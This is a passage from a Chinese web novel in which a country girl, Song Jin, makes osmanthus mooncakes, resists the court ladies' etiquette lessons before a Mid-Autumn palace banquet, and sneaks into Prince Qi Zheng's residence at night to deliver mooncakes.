牛铁兰猛地回头,惊疑未定地看着他,心中一片纷乱 这么巧吗? 金铃花,锦色花 真的有,这种花吗? 宋锦没注意到亲娘的异常,只觉得曲茂泽莫名其妙,很是嫌弃:“一个破花有什么好看的?娘亲,我们走” 她就拉着人走开了 背影中,比起之前又少了那么些欢快 曲茂泽收回目光,打开手中绿色的纸包,里面药味浓厚,是上好的止血药粉。他轻轻笑了笑,将其纳入怀中,也跟着离开后院,去完成今日的‘工作’ 手头的事情处理好了,才能更好的去欣赏遍地的金铃 ** 金铃不金铃的宋锦不知道,她只知道金桂花开 该吃月饼了 以前在林溪镇的时候,她们每年都会自己做月饼,然后晚上去县里面逛灯会 中秋当天县城灯火通明,各种精巧的花灯挂满几条街,水面上也飘满了各色的花灯,热闹得不得了。 按理来说,都城的灯会只会越发热闹好玩,非常适合宋锦喜欢凑热闹的性子,但是她这次没有丝毫期待 因为她得参加宫宴 这话听起来有些装,毕竟能去宫宴是莫大荣幸,但宋锦不喜欢。别看她上次和皇上说话游刃有余的,那都是抱着说好说坏,该死都得死的决心,实则心里还是紧张 毕竟,不管这皇帝看上去多么的脆皮,他底下还有百万大军,一人一脚都能踩死她,更别说旁边还有个‘虎视眈眈’的高手齐铮 得罪不起 而宫宴那日,除了这皇帝,还有一堆不知道什么性格的嫔妃皇子 宋锦光是想着都头皮发麻,但她也没办法控制不去,只能在去之前先给自己找点乐趣——比如说做月饼 拖曲茂泽的提醒,宋锦总算是想起了这个娱乐活动,于是第二天一早,她就拉着没什么精神的牛铁兰来到了明锦苑 宋清之解释:“锦同金,金秋金秋,明锦苑全是秋日花树,桂花、芙蓉、枫树、秋菊、秋瑾还有很多,从初秋到秋末花开不断,最适合秋日赏景” 宋锦恍然大悟,回头看向她娘,嬉皮笑脸:“娘啊,怪我误会你了,原来我的金是秋天的金啊,哎,你别说宋秋天好像也还行” 牛铁兰一晚上都在十来年前的旧事,此刻没什么几分精神,听到这话,凉凉道:“你是秋天生的吗就宋秋天?我看你是想感受一下寒冬,小心我给你改回以前的名字” “牛、金、金” “哈哈哈哈”不等宋锦作出反应,宋清之哈哈大笑了起来,“牛金金?这个名字也好哎,小妹,牛金金,一听就很壮实哈哈哈金金,金子,牛” 他的笑容僵住 宋锦重重踩在他的脚上,似笑非笑:“啊?你说什么呢?我怎么没听清?” 说着,她的脚又磨了磨 宋清之疼得脸色扭曲,他咬着牙,笑:“我说你名字真好听,金玉锦绣,如花似锦,就像你一样璀璨夺目,金光闪闪,这明锦苑简直是为你而生的。” 宋锦这才挪开脚,轻哼一声,微微抬着下巴:“算你识相” 宋清之扯着嘴角,艰难维持笑容,直到她们转身继续走着,这才捂着脚呲牙咧嘴,在心里默默流泪 这个妹妹,实在太难带了 他就知道老二和老四都不干的事,肯定不是什么好活计,不过 真不愧是他爹的孩子 他揉了揉脚,又继续一瘸一拐地跟上,给她们介绍着明锦苑的情况 宋锦她们这次过来,带上了小耳和小眉 两个小丫鬟这段时间一直在和春鸢她们学习都城的规矩和流行的发型款式,就跟要考试一般,每日从起床开始就跟着练习,自觉得不得了 一旬下来,两个人已经把都城这边的衣装学完了,各种招待的礼节不能说都学会记住了,但也能大概分清楚什么时候该行什么礼也知道饭前饭后需要注意什么,就连走路,都有模有样的 不像宋锦,她走路一贯大步流星大刀阔斧,走着走着直接跳了起来,抓了一把高悬的桂花,那香气扑鼻,她直接捻起几朵往嘴里一塞,眼睛一亮 “娘,娘,快过来尝尝,这花好香啊,做的月饼肯定好吃” 牛铁兰小步走了过去,也尝了一下,眉眼松动:“确实香,还有些甜” 宋清之嘴角一抽,心想这些能不想吗?这些全都是岭南花族精心培育的桂树,每棵树耗费的时间成本都是十年以上,便是卖出上千两也是一树难求,不香才怪 想着,宋锦的声音又传来:“宋老五,府里有多少人,我们多做一些,给大家都分分,这么多花,都落地了多可惜” 听听,听听这口气,不知道的还以为就是路边的寻常杂树呢 不过嘛,这花在府里确实也和寻常杂树差不多,无人欣赏,每年也是落在地上当养料,确实有些浪费 宋清之叹气:“府里人多着呢,我们做不了那么多,等后面让可以后厨过来摘了再分。” 宋锦想了想 她们母女俩加上丫鬟小厮和王老二共七个人,算上宋家三兄弟就十个人了,春鸢那些个几个大丫鬟,也得‘贿赂’一下,免得她们藏私又欺负小眉小耳 还有齐铮,这么个大腿不抱白不抱,她还有两个烤鸡没拿呢,刚好趁此机会拿回来 这么一想,她喊道:“也是,那你快过来帮忙摇树,我们也要吃那么多,还要摘点木槿秋菊,一样来一点。哈哈哈娘你头发变金色的了……” 她站在枝头上,兴奋地晃着枝桠,声音清脆洪亮,在安安静静的宋府里显得有些吵,却又是那般的鲜活,‘吵’掉了宋府一直以来的死气沉沉 宋清之绿色的眼眸中掀起波澜,嘴角一点点扬了起来:“来了,我来帮忙,你小心点别摔下来” 算了,勉强原谅老二老四一次,下个月给他们的零用,就简单翻个倍吧 …… 就在宋锦开开心心摇着树的时候,远在皇宫的齐烨埋头在比他还高的奏章中,心里就像吃了苦果一般,又苦又涩 他沉沉:“我有点想宋爱卿了” 孙公公安抚:“皇上节哀,宋大人吉人天相,定会平安归来的” 齐烨叹息:“归来啊,算了,不想这些了,还是看看这些蠢货又在提什么建议。尤其是那些御史,整日提些鸡毛蒜皮的小事,我是村官不成?还得调节这东家长西家短的” 孙公公笑眯眯:“皇上您是一国之主,大事小事,可不是都得您做主嘛” “那可得累死我,让我看看,嗯,赵侯府家庶子斗蛐蛐,什么破事,哦,跑人家宗庙里去了,这小子,他们自己闹去,我才管不了。再看看这个,礼部尚书的嫡女和外人私通”齐烨没忍住骂了两句 “没用的东西,自家媳妇儿都管不住,再说,有问题找野男人去啊,找我干什么?让我给他赐一个?癞蛤蟆想吃天鹅肉。算了,看下一个,宋府宋锦殴打英国公世子,指着老太君骂死老太婆” “嗯?” 齐烨怀疑自己的眼睛,他再看了看,白纸黑字写得清清楚楚,宋首辅之女宋锦,他直接扔了奏折,冷笑:“好一个英国公,宋商生死不明,他们就这般欺负他唯一的女儿,真是欺软怕硬,寡廉鲜耻” 孙公公确定自己没看错,奏折上说的就是英国公府吃亏,但作为皇上身边第一太 监,那自然皇上说什么便是什么 他立马道:“老英国公去世之后,英国公府便每况愈下,奴记得,前两日英国公世子还冲撞了岐王殿下的车架,也是殿下身怀武艺,这才平安无事” 齐烨叹气:“阿铮还是在民间吃了太多的苦了,受了委屈也习惯自己咽下去,什么都不会和我说。不像老二,之前宋老二因为宋商出事大意了些,他都敢直接动手。你说说,皇子和皇子之间的差距怎么这么大呢?” 孙公公宽慰:“那必然不同,岐王殿下身为陛下亲子,是真龙真凤,秉性生下来就不同,皇上该开心才是” 齐烨欣慰地笑了起来:“那倒也是,不过还是年轻,算了,你把奏折捡起来吧。英国公府再是不对,到底是开国元老,老太君一把年纪了,受了冲撞还是得安抚一下,你看她都气得起不来了,过两日的中秋宴会就在家里养着吧。英国公府的孩子也最懂礼节孝道,也不好让他们独自进宫,就在家陪老太君吧” 孙公公恭敬:“陛下体恤” 齐烨拿过奏折,想了想,大手一挥 “那丫头回来这些日子,整日嘻嘻哈哈,像只小老虎一样到处撒欢,朕却得天天做在这。哎,就给她送几个教养女官吧,也免得她没朋友无聊” 孙公公笑:“陛下英明” …… 于是乎,就在宋锦她们马上包好月饼,就等着将其进火炉中烘烤的时候,从皇宫出来的马车搭着几个一丝不苟、庄重严肃的女官来到了宋府 没有提前通知,她们就这样一路来到了后厨 此时,宋锦头上沾着金色桂花,脸上粘着白面,衣服皱皱巴巴,坐在凳子上搭着腿,嘴边啃着一个刚烤好的地瓜,手嘴都是黑灰,这一笑,满嘴残渣 几个女官眉头紧皱,面色肃然,心已经凉了大半 让她们声败名裂的存在,来了 第54章 不喜欢这么甜 “不合格,重来,腰弯下去一点” “注意眼神,眼神不能挑衅,宋小姐!不可以翻白眼,” “簪子太晃了,步伐缓一点,您是去参加宫宴,不是去打架的” …… 因为距离宫宴仅有两日了,齐烨大手一挥直接派了六个女官下来,宋锦算上牛铁兰小梅和小耳也就四个人,那是一对一都还剩两个咧 皇上真的是太看重她们了 个屁啊 那死老头绝对和宋商有仇,肯定是羡慕他名义上多了她这么个机灵闺女,想送他断子绝孙,才这么折腾她的 糟老头子,坏得很 这些皇家的人,全都去进修了变脸是吧? 大热天的,宋锦穿着厚重的衣服,脑袋上挂了一堆噼里啪啦的首饰,脚上也穿着高跟的木屐,在五个女官的注视下,她生无可恋地在屋子里来回走着 衣服厚重就不说了,还有长长的裙摆,那木屐歪来歪去,脑袋上叮叮当当…… 宋锦努力平稳地走着,还是要踩到不知道为什么弄那么长的衣服,谁家好人穿这些衣服拖地啊,还有脑袋上,这么重的玩意儿,是觉得女人家脖子太好了,非得弄点肩椎炎出来吧? 她走得十分烦躁,几个女官还在那儿指指点点 宋锦忍了又忍,最后忍无可忍,随着撕拉一声,她一把扯掉身上厚重的长衣,踢掉脚上的破鞋子,怒气冲冲 “你们五个别太过分了,我明日去宫里是去吃饭的,不是去走秀,把我当猴逗呢?” 五个女官面不改色,只是这样静静地看着宋锦,面上没有一点儿表情,眼神带着高高在上的怜悯和压迫:“请宋小姐继续,我们是陛下派来帮您改正礼仪的,你也不想明日去宫中得罪其他贵人吧?” 五个人保持着这种严肃模样,像是木偶一丝不苟,就这样静静的,像是看废物一般看着人,没几个人能承受这种压力,尤其是对于小姑娘 她们以往也被很多大家族请去家里教养孩子,那些贵女们原本再是桀骜顽劣,面对她们也得压下性子,乖乖听话,不说把规矩学个十分,也得学个七分分——这一点,是针对所有礼仪 而宋锦,因为时间赶,她们就只选择三项,走姿、行礼和吃饭 针对这三样,她们对宋锦的要求也不高,每样六分及格就好,但没想到在第一个走姿上她们就卡住了,迟迟推进不了下一项 毫不客气的说,就宋锦的表现,加加减减两分已经是高分了 五六分就是分水岭,往上一分难挣,往下一分认真学都行,不说让她们来教,便是让普通的教养嬷嬷就行 就比如说房间中的其他四人,比起宋锦教学顺利太多了 小耳这些天一直跟着春鸢她们学礼,虽然看起来像模像样,但到底个头小了些,又性子活泼有不小动作,仔细掰过后,勉强能打五分,等明日及格没一点问题 而小眉长得白净温婉,纤细高挑,又聪明沉稳,一番练习之下,毫不疑问的能打六分 在礼教方面,身材高挑长得好就是要占不少优势 两个小丫鬟放在都城并不突出,但她们乡下来的小丫鬟能做到这步已经不错了,还是有些天赋和努力的,女官们对她们俩也算满意,好好教一教,以后是靠得住得大丫鬟 不过最让她们意外的却是那边的牛铁兰 她看起来柔若无骨弱不胜衣,厚重的衣服往身上一搭,好似要把她压垮一般,但她却稳稳的,全程不动如山,不疾不徐,从头到脚,每一点都很端正,就是有些小动作也能很快纠正 别的不说,光是在走姿这面,她们能给她打八分 扣掉的两份是因为她太瘦弱了,有些撑不起来衣服,大衍朝繁盛富裕,大家还是更喜欢大气姣美的人儿——像是宋锦这般,如果她稍微沉稳一点的话 女官们看着又完整走了一圈的牛铁兰,问道:“夫人以前学过?我看着,有些像前朝流行的徐行” 前朝荒帝昏淫,喜欢柔若无骨之相,当时奸臣当道,各种民间搜集美人儿进献,百姓民不聊生。便是官吏,家中妻女稍有容貌的,也不敢将其放出 牛铁兰睫翳轻颤,端端正正地行了个礼,回道:“大人,臣妾今年三十四了” 大衍朝建立不过二十年,她身前十四年都是在前朝长大,会前朝礼仪一点儿也不奇怪 女官颔首:“牛夫人保养得很好,看起来不过二十余相” 牛铁兰浅浅一笑:“二十多岁可生不出这么大的孩子” 女官看着她一路的姿态,也露出了满意的笑容:“牛夫人先到一边休息吧” 话落,旁边立马传来宋锦欢呼的雀跃声,她拍着掌吆喝:“哇哇哇,娘亲好棒,我娘是全天下最棒的娘亲,学什么都又快又好……” 牛铁兰行到一半的礼顿住,抬头一看,几个女官脸上或多或少都带着崩溃,再看自家闺女,一屁股坐在地上还不够,直接躺在起了,一边吆喝拍掌还扣起了脚丫子 她无声叹了叹气,起身:“几位大人也累一下午了,不如先去喝点茶歇一刻钟?” 女官们心确实累得不行,这么多年以来,没有哪一次比现在更难的,她们互相看了看,还是点了点头:“麻烦夫人了” 牛铁兰便让小眉和小耳带几人去另一边沏茶休息,等她们都走完了,现场就剩下母女俩了,她就着一身繁杂的衣服,走到宋锦的面前,蹲下身子 宋锦蹲坐在地上,伸着手玩着她头上挂着的珠钗坠子,歪着脑袋:“娘,热不热?要不把衣服先脱了吧” 牛铁兰摇头,声音轻轻:“不碍事,倒是你,真有那么热?那么难?” 宋锦又揪起被她脱下的厚衣服,手上力道加重,没一会儿就将其撕成了布条,她撇了撇嘴:“就是看她们烦,一个个跟假人似的有什么意思?娘,你看她们的眼神,烦死了,凭什么她们说什么就是什么?我才不听” 牛铁兰叹了叹气,伸手撩了撩宋锦被汗水打湿的头发,她着闺女精力旺,跟小火炉似的,冬天暖夏天热。 她道:“哪有什么凭什么?她们就是教礼乐的,大家嘴上喊一声大人,但都城这么多贵女夫人,她们若不严肃一点,能压住人?你当她们真想过来受这份罪啊,还不是皇上发话了,你啊,净会闹小脾气” 宋锦嘀咕:“那也不想学,这玩意儿学了又怎么的?麻里麻烦,都是些面子功夫” 牛铁兰拿出手绢给她擦着汗,就跟看小孩子一般看着她,顺着她道:“对, 就是面子功夫,人学这些有什么用,还不是做给外人看的?就像在乡下的时候,他们那些人,几个月不洗个澡,吃饭吧唧嘴,抠了脚又抠嘴,鼻涕口痰随便刷,那才叫返璞归真,是吧” 宋锦鼓嘴:“……阿娘你讽刺我,这又不一样,基础礼仪,和这种表面功夫还是有差别的” 牛铁兰:“我俩在镇上的时候,在其他人眼里也是你说的表面功夫。在都城,你觉得的表面功夫也是大家的基础礼仪,你要真不想学觉得烦我们就不学了,收拾收拾东西回家就好” 宋锦不说话了,好一会儿嘟囔:“那不行,你的病还没看好呢” 牛铁兰:“行,那我们就坚持一下,看好了走,反正这宋府跟我们也没什么关系,想走就走,无所谓的” 宋晴更不说话了 虽然最开始来的时候她是这么个的想法,看完病她就带着她娘离开这边,浪迹天涯。但是这段时间住在这里,宋家及兄弟的表现有目共睹,又是出钱又是出力,虫老那边也全是宋家的关系 而宋商生死未知,她们也不能太过河拆桥 更别说还有皇上发了话,现在的情况不是她们能随便说了算的 想到这些乱七八糟的事,宋锦一个哀嚎,顺着就倒在了牛铁兰托地的裙摆上,抱着她的腰,呻吟:“但是真的好烦啊,学这些有什么用呢娘亲,我们也不在意这些” 牛铁兰只觉得好笑,伸手摸着自家闺女的脑袋,轻轻地安慰:“没事,我们就学一点点,不用学得多好,也不用掌握,但是要知道什么好什么坏。我们母女俩从乡下过来,外面不知道多少人等着看我们的笑话” 宋景:“那不行,只有我看别人笑话的份” 牛铁兰:“那就起来,就两天时间,我们坚持一下” 宋锦又耷起了脑袋,不情不愿 牛铁兰没再多说,她笑着站起身,伸出手,轻轻地就把宋锦拉来起来,就这样牵着她的手,带着她轻盈徐缓地走在路上 “步子不用太小,你个头高,就按照你正常的步伐,放缓速度,手收一点点,目光低一点,……” 一下午下来,动作虽然不多,但是宋锦累的够呛 等到总算结束一日的训练,宋锦一下扯掉身上的厚服,拆掉脑袋上的珠钗头发,光着的脚丫蹦跳几下活动筋骨,在院子里跳动几下,就这来了一串翻身 前翻后翻甚至还能连着一次性翻几个 远远的看着就跟那旋转的陀螺似的,撞上人就得把人撞个半死 宋家三兄弟站在门口看着里面,一动不动 宋清之长长感叹:“小妹看起来火气有点重啊” 宋安之捂着胸口咳嗽:“我好像染了风寒,夫人身体不好,别传染她了” 宋顺之目光深深:“那我们” 兄弟三你看我我看你,默契地直接转身就走,有什么事明天再说也一样,不着急,他们一点儿也不急咧 …… 不过要说宋府有什么好的,那绝对得是洗澡了 那浴堂又大又深,打扫得干干净净,一桶桶热水倒进去,还能在里面扑腾 母女俩可以一起泡,还能给对方搓背 等到洗完了,就有专门的小丫鬟过来帮着她们擦头发,护发护肤,按摩筋骨 小眉小耳在一边看着,暗暗下定决定 学,必须学 等到她们彻底收拾好了出来,晚饭也摆好了 宽大的桌子上饭菜摆得满满当当,在这么多菜中那一排他们亲手做的月饼,格外的不起眼 真是奢华 宋清之兄弟三人坐在一边 宋锦和牛铁兰过去坐在对面,她纳闷:“那5个女官呢?不一起吃?” 宋清之:“她们在另一边开饭,吃的菜色都一样,分开吃自在些” 大家族就是规矩多 不过宋锦也就是随意一问,那五个女官不在一起,她也更自在些。 累一天了,她肚子饿得慌,坐下就拿起两块的月饼,给她娘分了一个,再往嘴里塞一个 香甜的桂花香洒进嘴里,伴随着淡淡的蜜香,甜淡恰好合适 宋锦两口把那半个巴掌大的月饼下了肚,又拿起一个往嘴里赛,含糊:“这是我吃过最好吃的月饼” 宋清之他们看着好笑,拿过月饼一尝 味道确实不错 不过他们自小吃了太多的好东西,也并未觉得有那么夸张,不过在宋锦那吃的香甜的表情下,他们还是把月饼吃得干干净净,就连往常会剩下大半的饭菜,也之剩下碗底 最后兄弟三都是揉着肚子离开了 他们想,日后共同进餐的时间还是隔两天吧,不然这样下去,要不了一个月,他们的脸就得圆一圈 不好,很不好 宋锦她们吃完了也离开饭厅,回到了春晖园 宋锦揉着肚子,绕着院子里慢走消食,看着那一点点暗下来的天色,她打了大大的哈欠,回到她娘旁边:“阿娘,好困,我先回去休息了,您慢慢喝” 牛铁兰小口抿着消食的山楂茶,撇着她磨磨蹭蹭的动作,还有手上的食盒,声音轻飘飘:“拿这么多月饼回去,吃得完吗?” 宋锦清了清嗓子:“吃,怎么吃不完?一会儿晚上醒了吃,我胃口大,娘你还不知道吗?” 牛铁兰不置可否,淡淡:“都城有宵禁” 宋锦眨巴眨巴眼睛,一脸无辜:“宵禁也不禁止宵夜吧?” 牛铁兰:“……滚吧” 宋锦嘿嘿一笑,拎着食盒跑回自己房间里,往床上一躺,没一会儿就呼呼地睡了起来 她没说谎,她确实困了 不过嘛 “噔——噔噔噔,三更灯火,平安无事” 等外面三更天的更声传来,躺在床上的宋锦缓缓睁开了眼,她打了个大大的哈欠,透过窗户,都能感受到外面皎洁的月光 中秋将至,这两日的月亮又大又圆,月光皎洁而明亮,最适合出行了 她悠悠起身,伸了个大大的懒腰,扭扭身子骨,拎起一旁的食盒,打开窗户跃了出去 无需看路,宋锦跃上墙壁,踩着青瓦几个跳跃,便离开了宋家,然后顺着北边一路跃走,便跟那夜猫似的,不带半点动静 周围巡逻的士兵不断,她就像是带了扫描仪一般,清楚的知道他们的方位,然后轻轻躲过,就这样一路来到了几里外的岐王府 王府里外巡逻的人更多,动的静的,里里外外好几层 而此时正是月光明亮的时候,一切暗处的身影都藏不住,不是做坏事的好时候,不过不影响,她又不是坏人 宋锦无声吹了个口哨,挑着眉头,轻飘飘翻过高大的府墙,躲过巡逻的士兵,最后来到了齐铮所在的院落。 她没有提前打探好这人住在哪,就顺着这周围巡逻的人看,哪儿守的人多,那人肯定就住在哪里 尤其是前面门前还站着好几个侍卫的房间,肯定是 不过直接进去肯定不成,她绕着转了一圈,嘿嘿一笑,推开房间后边的窗子,轻轻一钻,就跟头顶长了眼睛一般,顺手按住卡在上面的铜钟,没让其落地弄出声音 宋锦再次无声的吹了个口哨,眉眼轻挑,得意洋洋地拎着食盒大摇大摆走到桌边。她把木盒子往上面一放,接着从兜里掏出碳块,左右瞅了瞅,目光落到了平坦的桌面,刚想上手 “百年黄花梨木做的桌子,一千二百两” 齐铮凉凉的声音从后面传来 宋锦咬着炭笔,不慌不忙地回头,理直气壮:“又不是擦不掉” 齐铮面无表情:“地砖不行吗?” 宋锦想了想也是,当着主人家的面,她蹲在地上,在上面用炭笔大 摇大摆地写下 ‘黄黄到此一游’ 齐铮:…… 黄黄知道它背了这么大个锅吗? 齐铮一言难尽:“你大晚上过来,就为了这?” 宋锦耸了耸肩:“哪能啊,我是来讨债的,你还欠我两个烤鸡呢” 齐铮叹气:“比武那日我给你带去” 宋锦点了点头,然后微笑地看着他,强调:“你爹给我府里扔了六个教养女官,六个” “……” 这齐铮自然也听到了风声,可他爹的事能怪她头上吗?说得好像他能管他爹一样 齐铮静静:“要给你介绍我府中的八个朝官吗?” 礼乐射御书数 他一个自小在江湖浪迹的人,除了射和御,其他得全得从头开始。而且不似宋锦,他有满朝文武看着,还有时不时询问进度的皇帝亲爹,他偷不了懒 宋锦才一下午,他已经半年了。 这半年里,除了太傅是隔段时间到来,其他人每日轮换,他也是日日上课,日日都有作业 齐铮看着逐渐气弱的宋锦,面无表情地继续:“还有每旬一小考,每月一大考,半年一统考” 宋锦起身抱拳:“岐王殿下辛苦了,您早点睡,改日再见” 她两步走到窗边,就跟水里的鱼一般,轻轻跃了出去,随后又又探进脑袋,小声:“对了,那是我和我娘亲手包的月饼,用价值千两的桂树花包的,你记得吃” 和这人比起来,她真是小巫见大巫了 她承认,她之前是有一些嚣张 都城的苦和怨,比不完,根本比不了 齐铮精准锁定价值千两四个字,他神色一顿,下意识瞥向了那精美的食盒,缓缓开口:“檀木做的盒子,至少价值百两” 他学的有一门课就是得粪便各种贵重东西,并且估量价格,这也是他最喜欢也学得最好的一门 宋锦哇了一声:“那我得把盒子带走” 说完,对着齐铮木然的神色,她轻轻地笑了笑,一脸狡黠:“骗你的,宋府这些多了去了,不差这一个。我走了,你早点睡觉,别熬夜” 齐铮:…… 他是不睡觉熬夜吗?分明是这人把他吵醒的 别说她动作轻,一般人听不到。他行走江湖这么多年,要是这点警惕都没有,早就没了 但看着宋锦满脸的狡黠和那贵重的食盒月饼,他生不起半点气,眼看着她转身就要溜走,他开口:“宋将军应该中秋宴后两日就回来了” 宋锦停下步子,仰着脑袋探了进来:“那谁啊?” 齐铮:“宋三公子宋慎之,宋侍郎宋行之应该也和他一起回来” 宋锦恍然:“那个花蝴蝶回来干嘛?” 齐铮有些心累:“赶紧走吧,路上小心巡逻卫兵,真要是被抓住了” 说着,他看着宋锦那大摇大摆的样子,怎么想怎么不放心,他顿了一下,走到一边拿出一个黑色令牌,扔给宋锦,补充道:“就用这个,应该有点薄面” 宋锦接过令牌,看着上面的岐字,笑眯眯地收了起来:“岐王殿下大度,走了,下次再来找你玩” 话音落下,她便直接消失不见,轻功很是了得 齐铮站在原地,看着那敞开的窗户,无声叹了口气 他就知道早晚会有这一天 齐铮过去关上窗子,忍不住摇了摇头,再转身,看着那精致的檀木食盒,犹豫了一下,还是走过去打开盖子 里面月饼乱七八糟地摆在一起,一看就知道出自谁手 齐铮伸手拿起一块放进嘴里 桂花清香,饼皮软糯,混合在一起有股奇异的香味 非常好吃 就是太甜了 齐铮看着一块块乱糟糟的月饼,按住跳得有些乱的心跳,眼前闪过那抹狡黠和灿烂 他想,他应该不喜欢这么甜 才对 第55章 压不住一身反骨 “我们再来最后一遍,进宫门——” “行见礼” “入座,敬茶” …… 宋锦站在原地,她身姿高挑,脊背挺直,修长的脖颈微弯,就这样轻垂眼眸看着下方,双手束手在身前,姿态端庄而优美。随着女官清亮悠长的声音响起,她轻轻迈脚,每一步恰着相似的距离,平缓徐徐地从远及近,头上的珠钗轻晃,身后裙摆逶迤 几个女官看着她一步步靠近,心里无声叹息 人的性子真是各不相同,明明都是同样的教法,但是不同的人走出来感觉就是不同 牛铁兰清雅柔顺,小梅沉稳,小耳活泼 而宋锦,即便是她们六个人再三调整她的姿态,放慢她的节奏,也只能勉强让她站着不动的时候看起来庄雅几分,随着她步子一迈,不管走快还是走慢,都压不住一身反骨,那一步步下全是强硬和张扬,带着满满的压迫感 即便现在,她身上那用来练习的厚重的衣袍大小破洞不断,衣袖衣摆更是被她扯成碎条,珠钗被掰得歪歪斜斜,很多更是只剩半截 她就穿着一身宛如荒地捡起的破败之物,也硬是带着几分撕碎一切的嚣张气,就这么一步一步走到位置上 宋锦这模样,与其说是参与宫宴,倒更像寻仇 女官停顿片刻,还是非常有素地把流程都简单走了一遍 乍一看没什么问题,仔细一看哪哪都是问题,但是无所纠正 她脑袋低了、眼睛垂了、步子缓了,要说表情,她扬起笑容嚣张肆意、不做表情的时候杀气腾腾、似笑非笑像笑里藏刀、故作灿烂的话又傻乎乎的,没有一定儿表情管理能力 女官叹气摇头 来之前孙公公特意和她们交代:“宋小姐自小孤苦,好不容易回来宋大人又出事,陛下心疼人,派你们过去带带她,能教就教,不能也无妨,多和她说说都城规矩,免得出去碰上嘴碎之人受委屈” 他明里暗里的意思就是让她们别较真,让她们过来与其说是教宋锦规矩,不如说是多给她透露都城情况,免得她日后被人欺负了还不自知,至于礼仪什么的 孙公公又道:“陛下就喜欢宋小姐无拘无束的快活模样” 女官们自然懂他的意思,不过她们想着,欢乐活泼也不影响学习些礼仪,凭借着她们六个人的能力,便是两日功夫,也能让她焕然一新 现在来看,她们还是太年轻了,没碰到过这般刺头 不过,看着顺利完成排练的宋锦脸上得意的笑容,她们也切身体会地感受到孙公公话里的意思了,这般鲜活明媚的人儿,确实讨人喜欢——前提是她不做怪 思及此,女官最终还是没说什么,只点了点头,道:“宋小姐进步神速,今晚宫宴定然不会有错,时间紧张,宋小姐和牛夫人去收拾吧” 现在刚入未时,宫宴戍时开始,她们酉时准备入宫 两个时辰的准备时间,梳洗换衣装扮正好合适 听到这话,宋锦眉眼间的得意瞬间落了下去,她杵着下巴,深深叹气:“我上次穿旧衣服去,就带了个银簪子,皇上也没说什么啊” 六个女官里品级最高的便是刚才带着宋锦走流程的女官,大家都叫她郑女官 郑女官看着不情愿的宋锦,只道:“平日私下进宫自然无事,陛下大度,不在意这些细枝末节。但是今晚宫宴不同,都城各大公候官员及其家眷都会入宫,尤其是各位女眷,都会盛装打扮,姑娘自己不在意无事,总要想想夫人。在世俗中,为人母的总要承担更多,她们只会说夫人” “停停停,我就是说说,你们继续,我去收拾去了” 宋锦这两日听了太多的念叨,现在听到她开口就想捂耳朵,一溜烟的跑开了 郑女官看着她略带匆忙的背影,嘴角却是有一瞬间扬了起来,又很快落了回去 跟她斗,到底还是年轻了些 虽然宋锦无拘无束,洒脱自在,没脸没皮,一点也不在乎别人的想法,但她的死穴也非常明显,那就是牛铁兰。反正有什么事情就往牛铁兰身上拉,她总要在意一些 每次都用肯定不行,但是偶尔关键时刻发挥作用便够了 …… 那必须够了 甚至还有些够够的了 宋锦在隔间的小浴桶里,从头到脚都被搓了一遍,皮肤都快搓破皮了,等一出来又被按在小榻上了脱毛。哦,在这个时候叫净面,不过她娘连她胳膊小腿都没放过 宋锦感觉自己就跟猪肉一样,被刮毛烫毛,联想到进宫,她忍不住吐槽:“弄得跟要进宫侍寝似的” 正用细线给她剃着脖子后面细绒的牛铁兰动作一顿,凉凉:“我看你是想逝世,没事给我把嘴闭上,一天到晚没大没小,不知尊卑,老娘哪天得被你拉着一起去蹲大牢” 宋锦撇嘴:“这不是说悄悄话嘛” 牛铁兰指间细线一个用力,刺啦一声,伴随着宋锦的吸气声,她呵呵:“悄悄话,我怎么看不出来?那日在宫里也是悄悄话?哪天脑袋落地了也是悄悄话?” 她还记得上一次进宫时候,这破闺女差点把她吓死的事 宋锦呲牙:“娘,你好记仇,这是多久的事了” 牛铁兰瞥她,冷笑: “多久?你要不要自己算一下多久?” 她们到都城没两天就进宫,再没两天就是三清观揍人的事,再没两天就是这两日训练,然后隔两日又往养兽堂跑 这看事情还真不少,但是一算时间,还不到半月 宋锦打起哈哈,讨好道:“和娘亲在一起的时间,每一天都满满当当的,短短几天跟过了半年似的。这样一算,咱俩以后至少能活个五百年” 看她这副模样,牛铁兰到底还是没憋住笑,忍不住戳了戳她的脑袋:“你自己活吧,五百年,我才不要当老怪物” 宋锦立马顺杆子爬,笑嘻嘻:“那我也不这么久,咱们母女俩一起长命百岁就好” 牛铁兰睨她:“油嘴滑舌” …… 母女俩收拾完了,又迎来更多更加繁杂的流程 不过这一步也不是郑女官她们负责,而是锦绣坊的苏芳等人的主场 她们一群人早就等待已久,一个个女侍手中端着木盘,上面放着各种料子珠钗香粉,等到宋锦她们收拾好,一群人早有准备地上前,拉着母女俩各就各位 做头发、画脸、修整指甲…… 两个人身边都被围得水泄不通,看不清对方的情况,也没法看 宋锦闭着眼睛,控制住把这些人掀开的冲动,努力把自己当做木头人任由她们操作 这样一忍就是一个时辰 等终于弄好的时候,宋锦脑袋的大了——字面意义的大了 她那向来只用簪子随便一弄的头发梳理得整整齐齐,一丝不苟,那上好的假发包藏在发间,使头发更为饱满,这里一圈那里一辫,隆重精美又地这些小姑娘的轻松 确实挺好看的 宋锦再凑近铜镜前仔细打量,两条英气有型的眉毛被削细薄了一点,眉间画着红橙交加的细花钿,像花又像火,往下眼尾拉长,脸颊微红,朱唇点点,透过模糊的从进都能看出里面人儿的姣好 不太像她,但又是她, “哇哦” 宋锦惊呼一声,想转头去看一下自家老娘的模样,视线就被遮住 苏芳笑眯眯站在她的前面,笑道:“宋小姐别着急,还差这最后一步,把衣服也换上才能看到不同” 让开身子,苏芳的身后的女侍小心打开厚重金贵的衣服 那是一件大红色的衣服,红衣金带,料子厚实精致,阵脚细密,上面绣满了各种精细的绣文甚至金片,那叫一个金光闪闪 宋锦看着那打开的袖子,还有长长的裙摆,嘴角一抽:“……这真不会太招眼了吗” 苏芳笑着把宋锦拉了过去,拉着她的手给她穿上衣服,帮她小心整理着,道:“红色并没什么忌讳的,朝堂的官服都是红的,便是艳丽些也无事,倒是金色衣服需要慎重些,龙纹凤纹也要避让……” 总的来说,因为前朝过于荒淫,新朝皇上就是是什么也不做,对于百姓来说就是大好的日子了。可齐烨又是减免赋税又是鼓励开荒又是发展工商渔业,把前朝那些皇帝耗费大量人力财力修建却只私用的运河开放,又捡起了以前的半截子水利工程,丰饶的田地 百姓日子一日比一日好,精气神向上,也更喜欢一些明丽繁艳之物 像衣服,同样的料子礼,黑白最为普通便宜,颜色越是珍稀鲜艳的越贵 也因此,本朝的染坊技术越来越好,很多人绞尽脑汁,每年都会出现新鲜的颜色和料子 